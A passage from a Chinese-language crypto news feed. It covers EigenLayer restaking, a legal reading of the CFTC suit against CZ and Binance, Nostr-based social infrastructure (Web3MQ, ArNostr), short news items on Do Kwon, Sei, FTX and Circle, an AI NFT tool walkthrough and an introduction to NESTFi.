其次，实现协议对节点更精细的治理结构，在拓展节点治理能力的同时对节点行为有更多维度的引导。例如以太坊可以根据一段期间内的罚没总金额动态决定恶意节点的罚没金额，加重对于恶意串通节点的惩罚力度；或者在inactivity leak模式，即太多节点下线以至于在四个epochs中共识都无法达成最终性时，以太坊可以通过罚没下线节点资金来恢复最终性，保证整个网络活性。 依赖该机制，以太坊更加平衡地管理了信任层节点的权利和义务。 以太坊对信任层的管理基于共识协议层面的的协议内罚没机制，当非以太坊上的应用希望利用以太坊的信任层时，没办法对违反应用规则但是却遵守以太坊共识规则的节点资金进行罚没。换句话说，这些非以太坊应用无法直接使用以太坊的信任层作为基础。 而这些非以太坊应用或者中间件，例如预言机或者跨链桥等协议，都需要创建自己的信任层或者主动验证人服务（actively validated service, AVS），这在实际中提高了应用层的创新门槛和经济负担，减缓了应用层的创新速度。而不同的AVS也会导致流动性的割裂，从而影响每一个AVS的经济安全性。 面对以太坊信任层的局限，EigenLayer采用再质押（restaking）来拓展以太坊信任层的罚没机制。通过智能合约掌管节点的资金取回凭证，EigenLayer创建了一个新的智能合约层面的罚没机制。 当一个以太坊验证节点通过EigenLayer参与验证时，它的资金取回地址会被设置为EigenLayer的智能合约，如果该节点违反应用层的规则，EigenLayer可将其取回的ETH通过罚没合约进行罚没。这样的罚没机制使得应用层可以通过智能合约来确认以太坊信任层节点的权利和义务，为其他应用或者中间件利用以太坊的信任层提供可能。 信任的交易市场 在再质押的基础上，EigenLayer将会建立一个公开的信任交易市场（open trust marketplace）来将信任货币化。首先，以太坊信任层节点以供给方的身份，与作为需求方的应用层协议通过自由市场机制决定交易内容。其次，节点根据自己偏好的风险收益比和罚没条件决定是否参与某个应用的验证工作以获得额外的收益。应用层协议可以通过市场化的价格便捷地购买“信任”，从而能够专注于应用层的协议创新和运营，实现自身安全性和性能的平衡。 EigenLayer的外部性 基于再质押和信任交易市场的创新设计，EigenLaler对整个以太坊生态的影响也表现出正反两方面特征。 1）加速应用层创新 通过建立信任的交易市场，Eigenlayer进一步将以太坊的信任层与执行层进行拆分并模块化。非以太坊的应用能够可以利用模块化的信任层便捷地获得信任，大大降低构筑安全性的资金门槛。这为诸如预言机，数据可用性层，去中心化sequencer，跨链桥，侧链等看重经济安全性的应用和中间件协议带来了巨大的好处，使它们可以专注于协议创新和用户体验。类似于Web3社交协议，当社交数据下沉至数据层，所有社交协议都可以无准入地便捷访问数据层时，应用创新和用户体验将会得到快速地提高。 2）帮助协议层创新 由于EigenLayer在智能合约层面拥有了与共识协议层面相同效果的罚没机制，它也可以在不改变现有共识机制的基础上创建一些其他的规则让节点去选择遵守，达到一种类共识机制的效果。 例如解决single-slot最终性问题，以太坊目前使用Gasper协议，只能对每一个epoch中的第一个区块（checkpoint block）提供最终性，暂时无法对epoch中的每一个slot提供最终性。但是通过使用EigenLayer，节点保证选择沿着包含某slot区块的主链继续构建让每个slot都获得最终性，违反承诺的节点会被罚没资金。 另一个例子是解决MEV中的partial-block MEV-Boost问题。目前，区块构建者（builder）只能通过MEV-Boost提交完整区块，区块提议者（proposer）只有在签署区块头并保证按照构建者想法添加区块后，才能看到完整的区块内容——这是为了防止提议者剽窃区块自行获利。 EigenLayer可以让构建者提交部分区块，剩余区块由提议者自己构建，当提议者没有按照约定将构建者的部分交易纳入最终区块时，它的资金就会被EigenLayer罚没。这样，更大范围的区块提议者也可以参与到区块构建中并获得部分MEV收入，从而抑制区块构建者的中心化。另外，由于更加中心化的区块构建者不能负责全部区块的构建，共识机制随机选出的提议者也可以参与区块构建，提高以太坊交易的抗审查性。 3）促进以太坊信任层的经济安全性 EigenLayer让以太坊节点在衡量风险收益比后选择获得额外的收益，以太坊节点质押的收益率会变得更高，这会进一步导致更多的ETH被用来质押，促进以太坊的经济安全性以及为应用协议提供的安全性，形成良好的正反馈。 4）提高以太坊信任层的去中心化程度 一方面，EigenLayer为个人节点提供了更高的质押收益，会激励更多的人自己运行节点。另一方面，应用协议可以要求参与验证的节点只能为个人节点，这样既可以提升应用的去中心化程度，也可以提升整个以太坊信任层的去中心化程度。 1）非正常罚没对以太坊信任层的损害 除违反规则导致的正常罚没之外，整个系统可能还会存在因为代码bug或者恶意协议产生的非正常罚没，即使是诚实节点也会被罚没质押资金。当非正常罚没导致诚实节点的大规模罚没时，以太坊信任层的经济安全性也会受到非常大的损害。 为降低这种负外部性，EigenLayer采取了两种应对方法。第一种是通过严格的审计降低风险，第二种是提供了对罚没的一票否决制度，治理委员会可以通过多签对罚没进行一票否决，为极端情况提供兜底保证。 2）再质押造成的信任杠杆 在公开的信任交易市场中，信任层节点可以通过再质押为不同的协议提供验证服务来获得额外的收益。当信任层资金为了获得更多收益而为价值累计非常大的应用/中间件层提供验证服务时，可能为信任带来杠杆极端化，使得破坏收益高于破坏成本，降低信任层的经济安全性。因此，对于节点再质押的限制以及信任层收益和安全性的平衡需要后续的实践给出更加准确的答案。 未来，区块链将通过高度的模块化和部分职责外包以增强其性能。EigenLayer正在构建的东西不仅有利于整个以太坊生态系统，而且有利于以太坊之外的生态系统。除了上述提到的几点，EigenLayer的定位是彻底改变当前的区块限制模型，通过利用节点过剩资源池，成为打破以太坊民主和灵活性两者间权衡的新的试验田，从而为新的商业模式注入更多可能性。 与此同时，EigenLayer也在致力于开发包括EigenDA在内的新产品，EigenDA是以太坊超大规模数据可用性层，旨在实现更便宜、更一致的费用，以及更高的数据可用性带宽。EigenLayer还计划与Mantle Network等团队展开合作，将这项技术推向更广阔的场景，我们非常期待看到EigenLayer将如何影响L2的未来发展。  ( 4 min )
    CFTC 起诉 CZ 和 Binance 违反美国监管规定的法律逻辑
    一、CFTC 新闻稿整理 CFTC 指控 Binance 及其创始人 CZ 故意逃避美国法律，非法经营虚拟资产衍生品交易所 2023 年 3 月 27 日，美国商品期货交易委员会（CFTC）发布公告称，它已向美国伊利诺伊州北区地方法院提起民事诉讼，指控 CZ 和其运营 Binance 平台的三个实体多次违反《商品交易法》（CEA）和 CFTC 的规定。同时，CFTC 还指控 Binance 前首席合规官 Samuel Lim 协助和教唆 Binance 进行违规操作。 根据起诉书，从 2019 年 7 月至今，Binance 向美国人提供和执行虚拟资产衍生品交易（尽管屏蔽美国 IP 地址），在 CZ 的指导下，Binance 指示其员工和客户通过规避合规控制（包括通过 VPNs、设立壳公司等手段），故意逃避美国法律，通过不透明的方式开展业务，无视 CEA 和 CFTC 的规定，同时有计划地进行监管套利以谋取商业利益。  CFTC 指控 Binance 这样的在美提供虚拟资产衍生品服务的实体，应向 CFTC 注册为期货佣金商 (Futures Commission Merchants, FCM) 承担类似于 KYC 等合规义务，并执行旨在防止和侦查恐怖主义融资和洗钱活动的基本合规要求。根据 Binance 开展的衍生品交易业务，还应向 CFTC 注册为指定合约市场（Designated Contract Market, DCM）或掉期执行机构（Swap Execution Facility, SEF）。而 Binance 从未向 CFTC 注册。 因此，CFTC 通过民事诉讼的形式指控 CZ 及其关联方违反了有关期货交易、非法场外大宗商品期权、未注册为期货佣金商，或指定合同市场，或掉期执行机构的相关法律法规，并且疏于监管、未实施 KYC 或反洗钱流程，以及制定不合格的合规计划等，向法院寻求对 CZ 及其关联方的民事处罚和永久性的交易和注册禁令。 CFTC 主席 Rostin Behnam 表示：“今天的执法行动表明，没有任何地区，或声称没有管辖权的地区，可以阻止 CFTC 保护美国投资者。我已经明确表示，CFTC 将继续使用其所有权力来发现和制止在动荡和高风险的虚拟资产行业中的不当行为……多年来，Binance 明知他们违反了 CFTC 法规，但仍积极开展工作以保持资金流动并避免合规。这应该是对虚拟资产世界中所有人的警告，即 CFTC 不会容忍故意规避美国法律的行为。”   二、先总结 看完了整个 74 页的起诉书，CFTC 这次对 CZ 及其关联方的控诉并没有什么问题。核心逻辑是：CZ 控制着 Binance 开展一系列虚拟资产衍生品交易业务，因为美国客户贡献了相当大一部分利润，那么如何帮助美国客户逃避监管、规避合规控制就是 CZ 这个精明商人的第一要务了。 Binance 明面上管理着大几百人的豪华合规团队，并且屏蔽美国客户，但是 CZ 拉上了首席合规官 Samuel Lim 为其出谋划策，通过 VPNs、设立离岸壳公司等一系列被 CFTC 称为“Creative Means”的方式，在明知违反美国法律的情况下，继续为美国客户提供衍生品交易业务。 这就撞到 CFTC 的枪口上了，CFTC 对于虚拟资产的监管逻辑是：首先所有虚拟资产都是商品，在此基础上虚拟资产现货市场上的欺诈和市场操纵等行为，以及涉及保证金、杠杆或融资的虚拟资产商品期货交易行为，以及相关参与主体的合规登记都应遵守 CEA 的规定并受 CFTC 的监管。 这里其实依然存在一个 Crypto 监管的真空地带。如果说虚拟资产都让 CFTC 来管，虽然 CFTC 有能力监管虚拟资产现货市场上的欺诈和市场操纵等行为，但是 CFTC 没有能力对不涉及保证金、杠杆或融资的虚拟资产期货交易行为进行监管。如果说让 SEC 来管，那么 SEC 只有在认定虚拟资产为“证券”的前提下才能行使其管辖权，在这个高标准下才会衍生出涉及证券的欺诈、操纵市场等等。所以我们看到几乎所有 SEC 针对虚拟资产的案件中，第一句话就是：“XXX 发行和出售未注册证券。” 不论如何，在 SEC 第一季度频繁对行业巨鳄开炮的背景下，这次 CFTC 直接将矛头指向了 CZ 及 Binance，确实让 Rostin Behnam 出了一把风头，在新闻稿中的发言颇有一番小人得志的感觉：“This should be a warning to anyone in the digital asset world, there is no location, or claimed lack of location, that will prevent the CFTC from protecting American investors.”如果 CZ 选择硬钢的话，至少 Binance.US 是很难幸免的，Binance 收购 Voyager 的交易也可能告吹，此举也可能慢慢撕开 Binance 帝国的神秘面纱。   三、再分析——CFTC 对 CZ 及 Binance 提起诉讼的法律基础 3.1 CFTC 及 CEA 的介绍 美国商品期货交易委员会（Commodity Futures Trading Commission, CFTC）是美国政府于 1974 年设立的独立机构。美国国会授权 CFTC 管理和执行美国 1936 年《商品交易法》（Commodity Exchange Act of 1936，CEA）及其颁布的法规，主要负责监管美国商品期货、期权和金融期货、期权市场，旨在为了促进公众利益和金融市场的健全，以保护市场参与者及公众不受欺诈、市场操纵和其他破坏市场秩序行为的侵害。 3.2 CFTC 对虚拟资产的商品认定 早在 2015 年针对 Coinflip, Inc. 的执法行动中，CFTC 就将比特币定义为 CEA 下的“商品”。在该案件中，Coinflip, Inc. 运营着一家名为 Derivabit 的比特币金融交易平台，为投资者撮合比特币期权合约，在运营期间未遵守 CEA 及 CFTC 的监管规定履行合规义务，从而受到 CFTC 的执法处罚。 此后，CFTC 将虚拟货币认定为 CEA 所调整的商品。CEA 项下的商品是一个非常宽泛的定义，其不仅包括实体商品，还可以包括无形商品，以及类似于碳排放权的权利与利益等（…all other goods and articles…and all services, rights, and interests…in which contracts for future delivery are presently or in the future dealt in）。此外，美国多个司法判例也认定虚拟货币是 CEA 定义下的“商品”，必须遵守 CEA 的规定并受 CFTC 的监管。 此外，现任 CFTC 主席 Rostin Behnam 也表示 CFTC 的监管框架已经具备监管虚拟资产市场大部分虚拟货币的能力，包含比特币和以太坊以内。在 CFTC 官网 Digital Assets 的专栏里也专门发布了关于虚拟资产（主要涉及虚拟货币）的信息。 虚拟资产（Digital Asset）是任何可以电子方式存储和传输，并具有相关所有权或使用权的资产。虚拟资产是资产价值的数字表示，包括作为交换媒介、记账单位、价值存储。一些虚拟资产，如 BTC、ETH、LTC 和至少两种法币支持的稳定币：Tether（“USDT”）和 Binance UDS（“BUSD”），以及本文所提及的其他虚拟货币，根据 CEA 第 1 a (9) 节的定义，都属于“商品”。近年来随着虚拟资产行业的发展，在 CFTC 注册的交易所（如芝加哥商品交易所和芝加哥期权交易所）也提供了一些虚拟资产的期货合约。 这使 CFTC 有能力监管虚拟资产现货市场上的欺诈和市场操纵等行为，但是，CFTC 没有能力对不涉及保证金、杠杆或融资的虚拟资产期货交易行为进行监管。不过随着目前国会正在审议的多部立法提案都将赋予 CFTC 对更大的权力，相信目前 CFTC 这一尴尬的局面很快能够得到改善。 3.3“商品”期货交易的认定 如果虚拟资产的交易满足以下条件，那么该种交易将被定义为 CEA 第 2（c）2（D）项下的“期货交易（a contract of sale of a commodity for future delivery）”，那么结果是提供交易的平台及从事交易的主体必须遵守 CEA 的规定并受 CFTC 的监管： （i）交易对象必须是 CEA 所定义的“非合格合约参与者”（Non-Eligible Contract Participant）。根据 CEA 的相关规定，如果接受商品交易的一方是 CEA 所定义的“合格合约参与者”或“合格商事主体”，则该交易就不属于 CEA 所规定的零售商品交易（Retail Commodity Transactions）的类型。这里的零售商品交易相当于通常意义上的散户交易，目的是为了保护一般投资者的合法权益。 此外，应特别注意 CEA 所调整的零售商品交易关系不仅包括已经订立合约（confirming the execution）的情形，还包括未达成交易前相关主体提供该类交易机会（offering to enter into），以及发出要约或促成此类交易形成的行为（entering into）。 （ii）交易是以保证金或杠杆的方式进行的（on a leveraged or margined basis）或通过融资性安排来完成交易。本质上即买方无需支付全部的货款即可取得所交易标的商品，或者说买方可以使用部分的资金购得数倍于实际所能购买的商品数量，也就是我们所通常所说的杠杆交易。 （iii）商品在 28 天内或 CFTC 所规定的更长期限内，并未被“实际交付（actual delivery）”。而如何认定“实际交付”成了 CFTC 监管实践中最为关注的问题，CFTC 也因此专门出台了相关的监管意见。 3.4 虚拟资产衍生品的合规要求 衍生品（Derivatives）是金融工具，如期货、期权或掉期，它们的价值来底层资产，包括基准利率、石油或小麦等实物商品，也包括了虚拟资产商品。根据 CEA 的要求，除某些豁免情况外，商品衍生品交易必须在 CFTC 指定或注册的交易所进行。 因此，除少数例外情况外，根据 CEA 以及 CFTC 的规定（Section 5 h (a) of the Act, 7 U.S.C. § 7 b-3, and Regulation 37.3, 17 C.F.R. § 37.3 (2022)），在未向 CFTC 注册为指定合约市场（Designated Contract Market, DCM）或掉期执行机构（Swap Execution Facility, SEF）的情况下，任何人提供掉期交易平台（Swap）的行为都是违法的。 根据 CEA 第 la (28)(A) 条，期货佣金商（FCM）是个人、协会、合伙企业、公司或信托从事 (i) 包括期货、掉期、商品期权或零售商品交易在内的受监管交易招揽或接受订单，或 (ii) 充当零售商品交易的交易对手方；或与这些活动中的任何一项有关并从事“接受任何金钱、证券或财产（或上述的信用担保）作为保证金，来保证任何可能的交易或合同”的主体。 FCM 是持有客户的资金并为衍生品交易提供保证金的金融中介，是美国金融体系的关键组成部分，必须遵守 CEA、CFTC，以及美国《银行保密法》、FinCEN等主体的相关规定，最基本的要求是向 CFTC 登记注册，并遵守一系列来自 CFTC 或 FinCEN 的合规要求。 任何主体如违反 CEA 以及 CFTC 的上述规定，以及 CEA 反规避原则的，都应当承担相关法律的责任。 3.5 Binance 在美提供未注册虚拟资产衍生品交易 在起诉书的 FACTS 部分，CFTC 列举了大量关于 CZ 及其关联方与指控内容有关的事实，包括：A. Binance 平台运营综述；B. Binance 平台提供的相关金融衍生品产品；C.  在 Binance 平台上通过自有账户进行自营交易；D. 在美运营；E. CZ 对 Binance 的控制；F. 制造限制美国用户的表象，表示合规计划仅是掩饰；G. 明知 Binance 平台需要遵守美国法律，但选择忽视；H. 指导美国客户通过 VPNs 等方式规避合规控制；I. 指导 VIP 客户违规通过 KYC 验证；J. 在内部文件及数据中隐藏美国客户信息；K. Binance 依赖中介介绍客户，但缺少有效合规手段；L. 逃避合规控制的案例。 基于上述事实，CFTC 指控 CZ 及其关联方的以下行为违反了 CEA 以及 CFTC 的相关规定：（1）在未注册的交易所执行期货交易；（2）非法进行场外交易；（3）未能注册为 FCM；（4）未能注册为 DCM 或 SEF；（5）监管不力；（6）未能实施 CIP、KYC、AML 的合规措施；（7）逃避美国法律监管。同时，CFTC 向法院寻求对 CZ 及其关联方的民事处罚和永久的交易和注册禁令。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。 REFERENCE: [1] CFTC Charges Binance and Its Founder, Changpeng Zhao, with Willful Evasion of Federal Law and Operating an Illegal Digital Asset Derivatives Exchange https://www.cftc.gov/PressRoom/PressReleases/8680-23 [2] Commodity Futures Trading Commission v. Zhao et al https://www.courtlistener.com/docket/67092867/1/commodity-futures-trading-commission-v-zhao/  ( 11 min )
    假如我们有更好的去中心化未来：Web3MQ，ArNostr，与基于Nostr的社交基建
    作者：方庭 来源：Social Infra Insights Notion 系列的第一篇文章介绍了以太坊“三位一体”的缘起和 Greenfield 背后三大基建的演化趋势；第二篇则以去中心化通讯赛道首个现象级协议“Nostr”为起点和分析对象，探寻在极端克制、充分体现了比特币原教旨主义精神的 Nostr 外，一个成熟的去中心化通讯将需要做好哪些准备；本篇文章则建立在前两篇文章的思考上，尤其是针对目前 Nostr 已有的问题，给出具备实操可行性、且已初具雏形的解决方案。社交基建的缺点绝不会是动态的，在分布在世界各地的开发者们昼夜轮转的努力下，事情正在发生变化，有“问题”处，即有亮点。 在开始前，让我们先回顾一下上篇文章中讲到的 Nostr 目前作为通讯协议未能达到的几个关键要素，以及一个理想的去中心化通讯基建应达的标准： 从第一点看起，“具备节点间共识”意味着 1）节点之间需要有通讯，以方便同步；2）节点在低门槛的同时需要便于进行扩容；3）可恢复的账户；4）合理的经济激励层，可沉淀的网络价值。基于这些尚未完成的理念，在去中心化通讯、去中心化存储等方面，新的建设者们正在进行更用户友好、速度更快、更符合技术向好向善集体想象的产品和作品，续唱上过往号角中，那些未被充分展开的声部。 StarkWare 生态中，布局在“去中心化通讯”生态位的主要通讯产品协议之一是 Web3MQ。相较于 节点之间更加孤立的 Nostr，Web3MQ 多个节点之间保持合作，减少负载、保证带宽，这一点也保证了在百万甚或亿级用户规模上，Web3MQ 将表现出比 Nostr 优异很多的通讯服务体验。 StarkWare原生即支持账户抽象（Account Abstraction），Web3MQ 的账户体系支持社交恢复，作为社交基础设施，为减少用户失去其账户控制权和更加珍贵的社交数据提供了至关重要的努力。 目前，在各项指标上，Web3MQ 是测试结果中 Web3世界 最快和可扩展性最好的消息传输协议（Social Layer1）。在核心技术实现上，与 waku/whisper 等通讯协议相比，Web3MQ 去中心化程度更高，并以此为基础，在使用上达到了实质性的“无需信任”（trustless）。部署 Web3MQ 节点的门槛非常友好，以开源开放的加密原生精神，任何人可运行节点，并且最终将交由社区治理，将中心化风险降至最低。 Nostr 对 relay 的数据存储没有规定，如果要做到完全去中心化、内容不会丢失，还需要一种存储解决方案，nostr 把这个交给 relay 的实现者去解决。 可以通过 Arweave 将 relay 的消息进行存储，就达到了完全去中心的效果。Arweave 是一个数据永存网络，能保证数据永久存储且不被篡改。relay 将消息存储到Arweave，即使这个relay 掉线、或者被屏蔽，依然可以启动另一个 relay，从 Arweave 拉取所有历史消息，这样一个新的 relay 服务就建立起来了。更进一步任何人都可以启动 relay，从 Arweave 拉取历史消息，这样就建立起一个抗审查、去中心的的社交网络。 ArNostr 是 Arweave 生态的共建者社区 PermaDAO 所资助的开源项目，完整的 ArNostr 产品可以分为两个独立的部分，一个是通过 Arweave 进行永久存储的 ArNostr Relay，另一个则是 ArNostr 客户端。 除了数据的永久存储以外，ArNostr 还接入了everPay 。everPay 是Arweave生态上的支付协议，特点是实时到账、无手续费，并利用 Arweave 保证安全性，接入 everPay 后 ArNostr 可以方便的进行打赏、转账等经济活动，充分激发创作者经济。 其次，将社交数据存储在 Arweave 上还将最大程度的发挥数据的开放与可组合性。其他应用如果想抓取 Nostr 上的社交信息，不再需要通过一个个独立的 Relay 去寻找，而是可以只对 Arweave 上相关交易进行检索，便可以直接利用全部的社交数据。 目前 ArNostr 已经上线测试 relay，在 relay 中添加 ArNostr Relay 的地址：wss://arnostr.permadao.io，就可以免费使用永久存储服务（存储费用由 ArNostr 团队代付）。 最后，我们仍然要回到标题：假如我们有更好的去中心化未来，它将是否/何时来临？在AI中心化聚力后突破临界点、提高生产力效率的当下，“去中心化”之路依然筚路蓝缕。去中心化存储与去中心化通讯由于并不与用户直接交互，往往隐于后端，但其必要性并不因其不可见而降低。我们已经见到了太多中心化的危机，并且不能每一次都等到大厦将倾，才从服务器中迁移居住其中的数据，数据的背后是人口、真实用户，和他们错综相连的社交关系。 建造是隐形的，而危机是显性的。中心化危机如果到来，这场从中心化节点到去中心化节点的宏大迁移将成为“三峡移民”；而最好的结果是，（无论何种形式）中心化的危机永远没有到来，我们将过往喊下的口号一一铸成实际的代码，不光集中在 Nostr 这样初见即令人兴奋的理念的旗帜下，更将聚光灯打给这场漫长的“渐进去中心化”旅途中每一位在后端耕耘不辍的开发者们。后者最好的形式，是关注他们创造的作品：有原创性的、振奋人心的，以及更多的那些没那么有原创性，却让这条路最终走完、走向每一个日常生活的。  ( 5 min )
    韩联社：Do Kwon律师拟将护照造假案上诉至最高法院，引渡进程或将拖延
    PANews 3月29日消息，据韩联社报道，Terraform Labs创始人Do Kwon在黑山的法律代表Voislav Zetsevich律师在接受采访时表示，对于Do Kwon涉护照造假案，其已对一审判决向高等法院提起上诉，若败诉，还会将此案上诉至最高法院以寻求最终判决，他们将尽可能行使自卫权。该媒体评论称，这意味着实际引渡或需要相当长的时间。 此外，对于引渡一事，该律师表示：“我不想谈，也不需要谈，因为引渡程序还没有开始。Do Kwon在完成护照造假案的司法程序不会涉及到遣返，且黑山司法部也有可能拒绝遣送。如果黑山政府收到正式的引渡请求，无论是韩国还是美国，都会成立一个新的法庭并进行单独的程序，但现阶段遣返不是需要讨论的问题。”对于Do Kwon希望被引渡至哪个国家，律师称：“无可奉告，关于遣返的决定完全由法院决定。法院不是做出政治决定的地方。遣返不应该是一个政治决定。”律师还提及，如果Do Kwon因护照造假案被判处最高5年徒刑，他可能会被遣返到另一个国家并在那里服刑。 此前3月26日消息，法院决定将Do Kwon拘留时间延长30天，Do Kwon计划对此提出上诉。  ( 4 min )
    Sei基金会成立，负责处理代币赠款、空投等事项
    PANews 3月29日消息，Layer1公链Sei宣布成立Sei基金会，作为支持Sei生态系统的非营利组织来资助协议开发、发展生态系统。Sei基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs团队仍然致力于开发开源软件。  ( 4 min )
    FTX向被确认为债权人的客户发送邮件，并强调索赔申请截止日期尚未确定
    PANews 3月29日消息，据吴说区块链报道，FTX大范围给债权人发送邮件，内容包括客户代码与索赔资产，邮件中表示：“你正在收到这封电子邮件，因为你已被确认为截至2022年11月11日，在FTX trading ltd第11章案例中的一个或多个债务人的账户净余额为正的客户。你已被列在一个或多个债务人的附表及报表内。” 邮件内容强调：“法院尚未设定提交针对债务人的索赔或利益证明的截止日期。当法院设定最后期限时，所有已知的债权人都将收到关于最后期限的通知以及关于如何提交索赔或利益证明的说明。” 此外，FTX无担保债权人官方委员会发推文称：“如果您认为您应该被FTX识别为客户欠款，但在3月31日之前没有通过电子邮件收到客户代码，请联系FTXInfo@ra.kroll.com。”  ( 4 min )
    智能捏脸+铸造NFT只需10秒，新上线的AIGC产品GNT如何让每个人成为NFT创作者？
    原文：《当你可以用promt直接生成NFT...》 作者：Cookie，律动 BlockBeats AI 已经是 Crypto 市场的热门概念，而对 NFT 玩家来说，AI 越来越多地在各个 NFT 项目的冷启动阶段出现。今年以来，不少项目采用 Midjourney 这个图像生成 AI 来进行「艺术竞赛」活动以分发白名单，大大增加了白名单分发方式的趣味性。而 AI 生成艺术 NFT 项目也曾一度受到市场追捧，比如「Friendship Bracelets by Alexis Andr」。 近日，StepN NFT 市场 MOOAR 推出了一款名为「GNT」的 AIGC 产品。通过「GNT」，我们可以十分方便地通过 AI 生成自己心中的形象并将其铸造成 NFT。让我们一起体验一下「GNT」的魅力吧~ 进入「GNT」的页面后，首先需要填写形象的名称，并且选择形象的身份风格。可选的形象风格有「Male 男性」、「Female 女性」、「Non-Binary 中性」以及「Animal 动物」。 设置完成后点击「Next」，接下来要选择的是形象的画风，这里可选的画风包括了市面上的各个蓝筹 NFT 项目，比如「Azuki」、「BAYC」、「Clone X」等。我们选择一个 Freestyle（自由选择），让「GNT」自由发挥。 选择完成后点击「Next」，接下来要给定「GNT」一系列关键词。「Character」栏里需要给定的是「性格关键词」，比如「Mysterious 神秘的」、「Charming 迷人的」、「Witty 机智风趣的」等等这样人物性格相关的形容词。而在「Apperance」栏里需要给定的是「外貌关键词」，比如「Long hair 长头发的」、「Round face 圆脸的」、「Yellow skin 黄皮肤的」等等这样人物外貌相关的形容词。 设置完成后点击「Next」，接下来可以给定「GNT」关于细节的补充描述，比如「Late night scene 深夜场景」、「Sitting behind a desk 坐在一张桌子后」等。「GNT」会根据这些给定的关键词去丰满形象的所在场景等相关细节。 设置完成后点击「Generate」，可以看见「GNT」为我们生成的形象了： 目前，普通用户一天可以使用「GNT」进行 5 次生成，MOOAR 会员则可以进行 25 次生成。现阶段生成出来的形象是对「GNT」的训练，因此暂不支持将生成出来的形象铸造成 NFT。MOOAR 计划在 3 月 30 日开放「Fair Mint」功能，届时用户可以使用「GNT」直接生成并铸造出总量 1000 个的 NFT 系列。 「GNT」给笔者最大的使用感受就是「清爽」，各个设置的提醒都很直观，对于从未使用过 AI 生成图片的小白很友好，十分容易上手。 MOOAR 应该是第一个将 AI 作为 NFT 创作工具引入并作为一站式服务提供的 NFT 市场，这是一个很有趣的尝试。在图片的创作过程中，笔者认为有 2 点是非常困扰的。首先，没有绘画/使用绘画工具的能力，尤其是笔者这样的「绘画残疾」，在 AI NFT 创作工具出现前完全不敢想象有一天也可以成为一个「NFT 创作者」。其次，想象是一个从人的记忆里「取材」的过程。我们的大脑就像我们的「素材库」，把任何想象图像化，一定将我们此生所见的种种「碎片」天马行空地排列组合的过程。如果我从未见过「紫色」与「水晶」，我是不可能凭空想象出「紫水晶」是什么样的。但 AI 工具凭借不断的学习积累能够极大的丰富我们的「素材库」，我们能够在一次次地生成中不断去贴近自己的想象，甚至是获取到我们从未能够从脑海中勾勒出的想象。 除了让「人人都可以变为创作者」，MOOAR 做此番尝试还让我们能够有更多的想象空间。「GNT」会引入到 StepN 当中让 StepN 的体验更有趣吗？比如，每次的运动结束后，StepN 根据当天的时间、天气、里程等数据以及我们自己对本次运动的体验描述，生成出一幅 AI NFT 作品，记录每一次的运动经历。这是否可以加强 StepN 的社交属性，让每次运动的获得感和纪念感更强呢？ AI 让我们每个人都可以轻松成为「NFT 项目方」的日子，已经不遥远了。  ( 5 min )
    Circle将通过与Noble的合作于第二季度发行基于Cosmos的USDC
    PANews 3月29日消息，据Blockworks报道，Cosmos生态协议Noble宣布与Circle合作，将在第二季度将原生USD Coin (USDC)引入Cosmos生态系统。Noble首席执行官Jelena Djuric在接受采访时表示，Cosmos区块链间通信协议(IBC)生态系统从未有过具有高流动性和完全质押的原生、法币支持的稳定币，随着Noble的第一个发行合作伙伴Circle的出现，这种情况即将改变。 去年9月， Circle首次表示有意在Cosmos上发行USDC。  ( 4 min )
    无限流动性？5分钟了解新衍生品DEX NESTFi
    原文：《DeFi 新范式：无限流动性的 NESTFi 能否在衍生品市场杀出重围》 作者：michaeljin.eth NestFi 项目背景： NEST 团队 2022 年初开始探索去中心化的衍生品协议，并基于 NEST 预言机推出了全新的项目 FORT，一个基于无限流动性模型（OMM）的去中心化衍生品交易平台，产品包括永续期货，期权。经过 3 月份 Terra 暴雷以及宏观环境的恶 化， NESTDAO 提出了 NEST 和 FORT 合并的提案,在协议层面，两个项目的代码进行了整合重构，在运营方面，NEST 团队整合了两个项目的资源，将 Twitter和 Telegram 社区合并为一个。在理论层面，比特币构建了全新的货币网络范式，以太坊构建了全新的资产网络范式，NEST 团队认为 NEST 所构建的无限流动性模型实际上是一种全新的交易网络范式，这会是继以太坊之后最重要的范式革命，NEST 新白皮书，将 NEST 定义为区块链的基础设施，为所有的项目方和买方提供任何风险收益结构的金融资产。 NEST 即将重磅推出“鞅网路”，一个以太坊后的新一代的基础设施范式，NEST 将以智能合约作为链上金融交易中的唯一卖方，在满足买方需求的同时，将买方让渡风险敞口汇集并对冲。不能对冲的风险由所有的交易者共担，以此从根本上解决风险对冲类资产流动性不足的问题。NEST 定义了一种新的交易范式, 这个交易范式来自于一个随机过程的概念：鞅交易是基于一个随机过程（鞅）的交易范式。鞅是一种满足 Xt = E(Xt + s | Xt) 的随机过程，其中 Xt 表示在时间 t 的随机值，s 是交易现金流流出和流入时间差。鞅交易是在鞅信息流下进行的交易，这种交易方式被认为能够得到公平的结果。在这种交易模式中，交易者在时刻 t 支付 Xt，并在时刻 t + s 收回 Xt + s。 而基于数字货币的去中心化鞅交易网络，以基于 ERC20 开发的 NESTtoken交易的标的为链上的数字资产，所有交易者都直接和一个无限供给的卖方(ILM， Infinite Liquidity Maker) 交易，这个卖方就是 NEST 合约本身。买入的数字资产进入合约（销毁），结算的数字资产通过合约即时增发出来。R3PO 认为基于鞅交易网的永续期货交易平台 NESTFi 有希望代表 NEST 发展成新一代交易网络的新范式代表。 根据 Defilama 的统计，NESTFi目前已经在去中心化衍生品中排到第 6 位，仅次于Gains Network 和 ApolloX。（来自于 Oracle） NESTFi能否结局 DeFi 行业痛点 1、链上应用的最关键或者最痛点是流动性，为了解决流动性问题，之前的 DeFi 尝试了传统观念的 order book 和 AMM 模型，但这些模型都不是理想的解决方案，并且无法将所有金融服务纳入到同一个协议并共用同一个流动性，造成资源的浪费和效能的低下。 2、风险匹配机制不完善，无论 AMM 也好，资金池也好，其解决流动性问题的方法都是以牺牲了卖方的灵活性为代价的：即卖方需要把自己的交易策略固定下来并承担外部市场的波动，一旦价格有利于卖方，买方可能选择退出交易，一旦存在套利，买方便蜂拥而至，整个过程卖方没有任何选择权，只能寄希望于挖矿的补贴和大数规则下的佣金或利率均衡。 3、资金使用效率低： LP 设计虽说暂时缓解了链上流动性的匮乏，但长期来看存在以下问题：首先是资金的大量占用导致资源浪费，链上如此众多的 TVL 却只支持了少量的交易，而且大部分 TVL 还是冲着流动性挖矿而来；其次是核心变量，如价格、利率等和池子的规模有关，一方面容易被套利，另一方面在池子规模不够的情况下，交易和借贷很难开展。而且，不同产品的 TVL 